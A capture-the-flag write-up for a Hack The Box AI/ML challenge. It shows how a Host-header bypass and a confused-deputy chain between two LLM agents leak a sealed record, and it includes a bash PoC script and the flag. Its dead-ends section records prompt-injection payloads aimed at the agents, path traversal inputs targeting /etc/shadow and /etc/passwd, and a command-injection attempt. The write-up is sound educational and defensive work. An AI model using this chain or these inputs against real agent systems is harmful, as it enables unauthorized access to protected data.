# Crownspire Petitions — Cyber Apocalypse 2026 | | | |---|---| | **Platform** | Hack The Box — Cyber Apocalypse CTF 2026 ("The Salt Crown") | | **Category** | AI / ML | | **Difficulty** | Medium (975 pts) | | **Key techniques** | A2A agent-card enumeration, vhost-routed access control bypass, confused deputy across two agents, write-primitive → read-primitive chain | | **Date** | 25 July 2026 | > Cyber Apocalypse 2026 has concluded — flag included below. --- ## TL;DR Two LLM agents share one HTTP socket, separated only by the `Host` header. The public **Docket Agent** can read petition records; the internal **Casework Agent** can copy a sealed case to a filesystem path. Neither can do both — but the destination allow-list includes the very directory Docket reads from. Archiving the sealed case into the petition store under a valid petition reference makes Docket serve it as a normal petition, flag included. Root cause: **broken access control** (authorization enforced in the web UI, not at the agents) plus a **confused deputy** between two agents that trust each other's namespace. --- ## Recon The challenge gives a Subject Number (`SN-2140-6698`) and one host:port. A2A agents are self-describing, so the first move is the agent card rather than the chat interface. ``` $ curl -si -H 'Host: docket.crownspire-petitions.htb' \ http://TARGET/.well-known/agent.json | head -3 HTTP/1.1 404 Not Found ``` `agent.json` is the older spec path. The current one works: ``` $ curl -s -H 'Host: docket.crownspire-petitions.htb' \ http://TARGET/.well-known/agent-card.json | jq { "name": "Docket Agent", "skills": [ { "id": "petitions", ... } ], "securitySchemes": {}, "securityRequirements": [] } ``` One skill: file a petition, look up a petition by id. JSON-RPC 1.0, POST to `/`, plain text in and out, and **no auth requirements**. Reading the seeded petitions is the cheapest source of intel. `PET-1000` leaks a second Subject Number in its body: ``` - Title: QA onboarding — intake smoke test (do not action) - Body: [...] My onboarding Subject Number is SN-7731-0425 (QA role). ``` Signing in to the portal with that SN reveals a second agent in the developer docs — `dev-a1f4c39b.crownspire-petitions.htb`, described as the internal warden pipeline. ## Foothold — the internal agent needs no credentials The eight hex characters in the hostname look like a secret. They aren't a control. The same socket serves the internal agent to anyone who asks for it by name: ``` $ curl -s -H 'Host: dev-a1f4c39b.crownspire-petitions.htb' \ http://TARGET/.well-known/agent-card.json | jq '.name, .securitySchemes' "Casework Agent" {} ``` `securitySchemes: {}` on an agent whose own description says "for authorized wardens". The portal's `/api/session` resolves an SN to a role and decides which agent links to *render* — that is UI gating, not access control. Pointing a client at the vhost directly skips it entirely: ``` you> list all cases 1. CASE-SEAL0001 SEALED SEALED — Attainder Roll 2. CASE-PET7F3A1 PENDING Grain levy remission — Ashfen ward 3. CASE-PET2C9D4 PENDING Right-of-way dispute — Irongate causeway ``` The target is visible. Its contents are not — `list_cases` returns only id, status and label. ## The chain — write with one agent, read with the other Mapping the two tool sets side by side is what makes the path obvious: | Agent | Can do | Cannot do | |---|---|---| | Docket | **read** a petition body by reference | see cases | | Casework | list cases, approve, reject, **archive to a path** | read case contents | Casework describes `archive` as a file copy, and rejecting a bad destination makes it enumerate its own allow-list: ``` you> Archive case CASE-SEAL0001 to /etc/shadow agent> The destination path is not permitted. You can archive the case to one of the following locations: the petitions store, /var/drop, /tmp, or the cases archive. ``` **The petitions store is on that list** — the directory the *other* agent reads from. An archive primitive whose allow-list includes the reader's own storage is the whole vulnerability. The remaining question was the filename format. Docket's lookup turned out to be filesystem-flavoured: passing it a path made it reply about the basename only (`/var/drop/seal2.txt` → *"no petition found for reference seal2.txt"*). So the reference maps to a filename in the store, with no extension appended. Two variants work — extensionless, or reference-with-extension: ``` Archive to /opt/petitions/PET-2000 → Look up petition PET-2000 ✅ Archive to /opt/petitions/PET-2001.json → Look up petition PET-2001.json ✅ Archive to /opt/petitions/PET-2002.txt → Look up petition PET-2002 ❌ ``` Result: ``` you> Look up petition PET-2000 agent> Here are the details for petition PET-2000: - ID: CASE-SEAL0001 - Title: SEALED — Attainder Roll (Bureau of Petitions, House Vaultrune) - Body: By order of House Vaultrune: The seizure of the riverside granaries is to be recorded as a 'temporary quarantine.' [...] HTB{w3lc0m3_t0_a2a_pr0t0c0l_t4g_t34m_pwn4g3} - Status: SEALED ``` Docket serves the sealed case as an ordinary petition because, as far as it is concerned, a file with that reference exists in its store. ## PoC ```bash #!/usr/bin/env bash # Crownspire Petitions — sealed record disclosure # usage: ./poc.sh 10.0.0.1:31337 set -euo pipefail IP="$1" DOCKET="docket.crownspire-petitions.htb" CASEWORK="dev-a1f4c39b.crownspire-petitions.htb" CASE="CASE-SEAL0001" REF="PET-2000" say() { # $1 = vhost, $2 = message jq -n --arg t "$2" '{jsonrpc:"2.0",id:1,method:"message/send", params:{message:{role:"user",messageId:"poc", parts:[{kind:"text",text:$t}]}}}' \ | curl -s -X POST "http://$IP/" \ -H "Host: $1" -H 'Content-Type: application/json' -d @- \ | jq -r '.result.parts[]?.text' } echo "[*] no credentials used — internal agent is reachable by Host header alone" say "$CASEWORK" "List all cases." sleep 6 # server enforces 1 AI request / 5s echo "[*] copying sealed case into the petition store as $REF" say "$CASEWORK" "Archive case $CASE to /opt/petitions/$REF" sleep 6 echo "[*] reading it back through the public agent" say "$DOCKET" "Look up petition $REF" | tee /dev/stderr | grep -o 'HTB{[^}]*}' ``` ## Dead ends (and what they ruled out) Worth recording, because each one narrowed the surface: - **Prompt injection, both channels.** A payload in a petition body survives storage if you tell the agent to store it *"exactly as written"* (otherwise the model paraphrases it away), and a payload in the title propagates into Casework's case list. Both models recite injected instructions as inert text and never act on them. The petition text reaching a privileged agent's context looked like the intended path; it wasn't. - **Status manipulation.** `approve` / `reject` change state and, per the agent, move the case file — but never publish a body, and never affect the matching petition. - **Path traversal.** Both parameters are validated after normalization: `/tmp/../etc/x` and `CASE-SEAL0001/../../../etc/passwd` are both rejected. `CASE-SEAL0001/../CASE-SEAL0001` resolves and succeeds, which is the tell that paths are canonicalized before the check. - **Command injection.** Metacharacters never reach a shell — the LLM extracts a single path argument out of prose, so `; id` is simply dropped as a separate request. - **SQLi on the lookup key**, low/high reference enumeration, protocol methods (`tasks/list` absent, `tasks/get` present but no task ids are ever minted, streaming unsupported), forged `role: "agent"` messages, and serving the written files over HTTP — all negative. The lesson from the dead ends: because the box is in the AI/ML category it is tempting to spend every request on the models. The models were the only part that was solid. The bug was in the plumbing around them. ## Lessons & defenses - **Authorize at the resource, not in the renderer.** `/api/session` decided which agents to display. The agents themselves accepted anyone. Every agent needs to verify the caller's standing on every call. - **An unguessable hostname is not a credential.** `dev-a1f4c39b` is security by obscurity; it survives exactly until it appears in a page, a bundle, or someone's notes. - **Never allow a write primitive to target another component's trusted storage.** The destination allow-list validated *traversal* carefully and then permitted the one directory that mattered. Allow-list the paths a component owns, and nothing else. - **Treat data crossing agent boundaries as untrusted.** Ids minted by one agent were accepted verbatim as filenames by another. Re-validate at each hop, and namespace records so a case can never be mistaken for a petition. - **Sensitive records need enforcement, not a status label.** `SEALED` was metadata. The body sat in a file that any component with a copy primitive could relocate. ## Tools used - `curl` — agent-card discovery and all JSON-RPC traffic - `jq` — building request payloads and parsing responses - ~20-line Python A2A client — interactive chat with `contextId` continuity, one instance per vhost - Termux (Android) for the early session, WSL for the rest